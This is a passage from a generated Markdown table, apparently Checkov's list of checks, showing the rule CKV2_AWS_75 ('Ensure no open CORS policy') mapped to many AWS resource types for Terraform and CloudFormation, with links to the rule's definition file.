CKV2_AWS_75              | resource                         | aws_elasticache_user_group_association                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3624 | CKV2_AWS_75              | resource                         | aws_elasticache_user_group_association                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3625 | CKV2_AWS_75              | resource                         | aws_elasticsearch_domain                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3626 | CKV2_AWS_75              | resource                         | aws_elasticsearch_domain                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3627 | CKV2_AWS_75              | resource                         | aws_elasticsearch_domain_policy                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3628 | CKV2_AWS_75              | resource                         | aws_elasticsearch_domain_policy                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3629 | CKV2_AWS_75              | resource                         | aws_elasticsearch_domain_saml_options                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3630 | CKV2_AWS_75              | resource                         | aws_elasticsearch_domain_saml_options                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3631 | CKV2_AWS_75              | resource                         | aws_elasticsearch_vpc_endpoint                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3632 | CKV2_AWS_75              | resource                         | aws_elasticsearch_vpc_endpoint                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3633 | CKV2_AWS_75              | resource                         | aws_elastictranscoder_pipeline                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3634 | CKV2_AWS_75              | resource                         | aws_elastictranscoder_pipeline                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3635 | CKV2_AWS_75              | resource                         | aws_elastictranscoder_preset                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3636 | CKV2_AWS_75              | resource                         | aws_elastictranscoder_preset                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3637 | CKV2_AWS_75              | resource                         | aws_elb                                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3638 | CKV2_AWS_75              | resource                         | aws_elb                                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3639 | CKV2_AWS_75              | resource                         | aws_elb_attachment                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3640 | CKV2_AWS_75              | resource                         | aws_elb_attachment                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3641 | CKV2_AWS_75              | resource                         | aws_emr_block_public_access_configuration                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3642 | CKV2_AWS_75              | resource                         | aws_emr_block_public_access_configuration                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3643 | CKV2_AWS_75              | resource                         | aws_emr_cluster                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3644 | CKV2_AWS_75              | resource                         | aws_emr_cluster                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3645 | CKV2_AWS_75              | resource                         | aws_emr_instance_fleet                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3646 | CKV2_AWS_75              | resource                         | aws_emr_instance_fleet                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3647 | CKV2_AWS_75              | resource                         | aws_emr_instance_group                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3648 | CKV2_AWS_75              | resource                         | aws_emr_instance_group                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3649 | CKV2_AWS_75              | resource                         | aws_emr_managed_scaling_policy                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3650 | CKV2_AWS_75              | resource                         | aws_emr_managed_scaling_policy                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3651 | CKV2_AWS_75              | resource                         | aws_emr_security_configuration                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3652 | CKV2_AWS_75              | resource                         | aws_emr_security_configuration                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3653 | CKV2_AWS_75              | resource                         | aws_emr_studio                                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3654 | CKV2_AWS_75              | resource                         | aws_emr_studio                                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3655 | CKV2_AWS_75              | resource                         | aws_emr_studio_session_mapping                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3656 | CKV2_AWS_75              | resource                         | aws_emr_studio_session_mapping                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3657 | CKV2_AWS_75              | resource                         | aws_emrcontainers_job_template                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3658 | CKV2_AWS_75              | resource                         | aws_emrcontainers_job_template                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3659 | CKV2_AWS_75              | resource                         | aws_emrcontainers_virtual_cluster                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3660 | CKV2_AWS_75              | resource                         | aws_emrcontainers_virtual_cluster                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3661 | CKV2_AWS_75              | resource                         | aws_emrserverless_application                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3662 | CKV2_AWS_75              | resource                         | aws_emrserverless_application                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3663 | CKV2_AWS_75              | resource                         | aws_evidently_feature                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3664 | CKV2_AWS_75              | resource                         | aws_evidently_feature                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3665 | CKV2_AWS_75              | resource                         | aws_evidently_launch                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3666 | CKV2_AWS_75              | resource                         | aws_evidently_launch                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3667 | CKV2_AWS_75              | resource                         | aws_evidently_project                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3668 | CKV2_AWS_75              | resource                         | aws_evidently_project                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3669 | CKV2_AWS_75              | resource                         | aws_evidently_segment                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3670 | CKV2_AWS_75              | resource                         | aws_evidently_segment                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3671 | CKV2_AWS_75              | resource                         | aws_finspace_kx_cluster                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3672 | CKV2_AWS_75              | resource                         | aws_finspace_kx_cluster                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3673 | CKV2_AWS_75              | resource                         | aws_finspace_kx_database                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3674 | CKV2_AWS_75              | resource                         | aws_finspace_kx_database                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3675 | CKV2_AWS_75              | resource                         | aws_finspace_kx_dataview                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3676 | CKV2_AWS_75              | resource                         | aws_finspace_kx_dataview                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3677 | CKV2_AWS_75              | resource                         | aws_finspace_kx_environment                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3678 | CKV2_AWS_75              | resource                         | aws_finspace_kx_environment                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3679 | CKV2_AWS_75              | resource                         | aws_finspace_kx_scaling_group                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3680 | CKV2_AWS_75              | resource                         | aws_finspace_kx_scaling_group                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3681 | CKV2_AWS_75              | resource                         | aws_finspace_kx_user                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3682 | CKV2_AWS_75              | resource                         | aws_finspace_kx_user                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3683 | CKV2_AWS_75              | resource                         | aws_finspace_kx_volume                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3684 | CKV2_AWS_75              | resource                         | aws_finspace_kx_volume                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3685 | CKV2_AWS_75              | resource                         | aws_fis_experiment_template                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3686 | CKV2_AWS_75              | resource                         | aws_fis_experiment_template                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3687 | CKV2_AWS_75              | resource                         | aws_flow_log                                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3688 | CKV2_AWS_75              | resource                         | aws_flow_log                                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3689 | CKV2_AWS_75              | resource                         | aws_fms_admin_account                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3690 | CKV2_AWS_75              | resource                         | aws_fms_admin_account                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3691 | CKV2_AWS_75              | resource                         | aws_fms_policy                                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3692 | CKV2_AWS_75              | resource                         | aws_fms_policy                                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3693 | CKV2_AWS_75              | resource                         | aws_fms_resource_set                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3694 | CKV2_AWS_75              | resource                         | aws_fms_resource_set                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3695 | CKV2_AWS_75              | resource                         | aws_fsx_backup                                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3696 | CKV2_AWS_75              | resource                         | aws_fsx_backup                                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3697 | CKV2_AWS_75              | resource                         | aws_fsx_data_repository_association                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3698 | CKV2_AWS_75              | resource                         | aws_fsx_data_repository_association                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3699 | CKV2_AWS_75              | resource                         | aws_fsx_file_cache                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3700 | CKV2_AWS_75              | resource                         | aws_fsx_file_cache                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3701 | CKV2_AWS_75              | resource                         | aws_fsx_lustre_file_system                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3702 | CKV2_AWS_75              | resource                         | aws_fsx_lustre_file_system                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3703 | CKV2_AWS_75              | resource                         | aws_fsx_ontap_file_system                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3704 | CKV2_AWS_75              | resource                         | aws_fsx_ontap_file_system                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3705 | CKV2_AWS_75              | resource                         | aws_fsx_ontap_storage_virtual_machine                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3706 | CKV2_AWS_75              | resource                         | aws_fsx_ontap_storage_virtual_machine                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3707 | CKV2_AWS_75              | resource                         | aws_fsx_ontap_volume                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3708 | CKV2_AWS_75              | resource                         | aws_fsx_ontap_volume                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3709 | CKV2_AWS_75              | resource                         | aws_fsx_openzfs_file_system                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3710 | CKV2_AWS_75              | resource                         | aws_fsx_openzfs_file_system                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3711 | CKV2_AWS_75              | resource                         | aws_fsx_openzfs_snapshot                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3712 | CKV2_AWS_75              | resource                         | aws_fsx_openzfs_snapshot                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3713 | CKV2_AWS_75              | resource                         | aws_fsx_openzfs_volume                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3714 | CKV2_AWS_75              | resource                         | aws_fsx_openzfs_volume                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3715 | CKV2_AWS_75              | resource                         | aws_fsx_windows_file_system                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3716 | CKV2_AWS_75              | resource                         | aws_fsx_windows_file_system                                                                      | Ensure no open CORS policy                                                                                                                                                                               | 